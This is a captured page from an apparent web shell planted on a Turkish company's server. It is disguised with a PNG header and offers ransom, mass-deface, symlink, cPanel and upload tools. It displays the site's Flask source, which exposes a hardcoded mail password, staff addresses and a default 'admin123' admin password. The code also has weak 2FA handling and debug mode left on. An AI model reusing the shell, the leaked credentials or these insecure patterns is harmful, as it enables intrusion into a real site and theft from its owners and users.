\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/ofisbulutta.com/OfisTeknoloji/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/ofisbulutta.com/OfisTeknoloji/app.py-old


import os
from flask import Flask, request, session, render_template, redirect, url_for
from flask_mail import Mail, Message
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy.orm import DeclarativeBase
from flask_babel import Babel
from flask_wtf.csrf import CSRFProtect
from flask_login import LoginManager, login_user
import configparser
from sqlalchemy import Column, Integer, String, Text
import random

class Base(DeclarativeBase):
    pass

db = SQLAlchemy(model_class=Base)
app = Flask(__name__, template_folder='templates')  # Explicitly set template folder
app.secret_key = os.environ.get("SESSION_SECRET", "default-secret-key-for-development")
csrf = CSRFProtect(app)

# Database configuration - Ensure DATABASE_URL is properly set
database_url = os.environ.get("DATABASE_URL")
if not database_url:
    # If DATABASE_URL is not set, try to construct it from individual components
    database_url = "postgresql://{}:{}@{}:{}/{}".format(
        os.environ.get("PGUSER"),
        os.environ.get("PGPASSWORD"),
        os.environ.get("PGHOST"),
        os.environ.get("PGPORT", "5432"),  # Varsayılan port numarası
        os.environ.get("PGDATABASE")
    )

app.config["SQLALCHEMY_DATABASE_URI"] = database_url
app.config["SQLALCHEMY_ENGINE_OPTIONS"] = {
    "pool_recycle": 300,
    "pool_pre_ping": True,
}

# Email configuration
app.config['MAIL_SERVER'] = 'mail.hepsibulutta.com'
app.config['MAIL_PORT'] = 587
app.config['MAIL_USE_TLS'] = True
app.config['MAIL_USERNAME'] = 'ofisbuluttaweb@hepsibulutta.com'
app.config['MAIL_PASSWORD'] = 'ooka5mel1ai0ee2C'
app.config['MAIL_DEFAULT_SENDER'] = 'ofisbuluttaweb@hepsibulutta.com'
app.config['MAIL_RECIPIENT'] = 'gokhana@ofisbulutta.com'

# reCAPTCHA configuration
app.config['RECAPTCHA_PUBLIC_KEY'] = os.environ.get('RECAPTCHA_PUBLIC_KEY')
app.config['RECAPTCHA_PRIVATE_KEY'] = os.environ.get('RECAPTCHA_PRIVATE_KEY')

# Babel configuration
app.config['BABEL_DEFAULT_LOCALE'] = 'tr'
app.config['LANGUAGES'] = {
    'tr': 'Türkçe',
    'en': 'English'
}

# Initialize extensions
mail = Mail(app)
db.init_app(app)
babel = Babel(app)
login_manager = LoginManager(app)
login_manager.login_view = 'admin_login'

@app.context_processor 
def inject_config():
    return dict(config=app.config)

def get_locale():
    if 'language' in session:
        return session['language']
    return request.accept_languages.best_match(app.config['LANGUAGES'].keys())

babel.init_app(app, locale_selector=get_locale)

@login_manager.user_loader
def load_user(id):
    from models import Admin
    return Admin.query.get(int(id))

@app.route('/add_blog_post', methods=['POST'])
def add_blog_post():
    title = request.form['title']
    content = request.form['content']
    slug = request.form['slug']
    summary = request.form['summary']
    image_url = request.form.get('image_url')

    # IP adresini al
    client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)

    new_post = BlogPost(title=title, content=content, slug=slug, summary=summary, image_url=image_url, client_ip=client_ip)
    db.session.add(new_post)
    db.session.commit()

    return redirect(url_for('blog_posts'))

@app.route('/blog_posts')
def blog_posts():
    posts = BlogPost.query.all()
    return render_template('blog_posts.html', posts=posts)

@app.before_request
def get_client_ip():
    if request.headers.get('X-Forwarded-For'):
        ip = request.headers.get('X-Forwarded-For').split(',')[0]
    else:
        ip = request.remote_addr
    print(f"Client IP: {ip}")  # IP adresini loglayın veya istatistiklerde kullanın

def send_verification_code(email, code):
    msg = Message("Doğrulama Kodu", recipients=[email])
    msg.body = f"Doğrulama kodunuz: {code}"
    mail.send(msg)

@app.route('/send_verification_code', methods=['POST'])
def send_code():
    email = request.form['email']
    verification_code = generate_verification_code()  # Kodunuzu oluşturun
    send_verification_code(email, verification_code)
    return "Doğrulama kodu gönderildi."

@app.route('/verify_code', methods=['POST'])
def verify_code():
    user_code = request.form['code']
    if user_code == expected_code:  # Beklenen kodu kontrol edin
        return "Doğrulama başarılı!"
    else:
        return "Doğrulama başarısız!", 401

def generate_verification_code():
    return str(random.randint(100000, 999999))  # 6 haneli rastgele bir kod

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    user = Admin.query.filter_by(username=username).first()

    if user and user.check_password(password):
        # 2FA kontrolü yapılacak
        if user.two_factor_enabled:
            # Doğrulama kodunu gönder
            verification_code = generate_verification_code()
            send_verification_code(user.email, verification_code)
            # Beklenen kodu saklayın
            global expected_code
            expected_code = verification_code
            return "Doğrulama kodu gönderildi. Lütfen kontrol edin."
        else:
            login_user(user)
            return redirect(url_for('dashboard'))  # Giriş başarılıysa yönlendirin
    else:
        return "Giriş başarısız!", 401

with app.app_context():
    db.create_all()  # Tabloları oluştur

def create_admin_user():
    with app.app_context():
        # Önce mevcut admin kullanıcısını silelim
        Admin.query.filter_by(username='admin').delete()
        db.session.commit()

        # Yeni admin kullanıcısı oluşturalım
        admin = Admin(
            username='admin',
            email='gokhana@ofisbulutta.com'
        )
        admin.set_password('admin123')  # Şifreyi ayarlayın
        db.session.add(admin)
        db.session.commit()
        print("Admin kullanıcısı başarıyla oluşturuldu!")

if __name__ == '__main__':
    app.run(debug=True)  # Hata ayıklama modunu etkinleştir

© KUJUNTI.ID